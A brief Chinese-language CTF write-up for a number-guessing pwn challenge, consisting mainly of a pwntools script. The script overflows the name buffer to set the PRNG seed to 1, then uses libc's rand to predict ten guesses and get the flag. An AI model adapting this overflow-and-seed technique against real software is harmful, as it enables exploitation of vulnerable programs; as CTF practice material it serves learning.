第六题 这题是一个猜数字的游戏,连续猜对十次程序给的伪随机数,即可获得flag,也不是很难的一道题,直接放代码了:
from pwn import *
from ctypes import *
context(log_level = 'debug',os= 'linux', arch = 'amd64')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
sh = process('./guess')
payload = b'a'*(0x20)+p64(1)
sh.recvline("Your name:")
sh.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
sh.recvline("Please input your guess number:")
sh.sendline(num)
sh.interactive()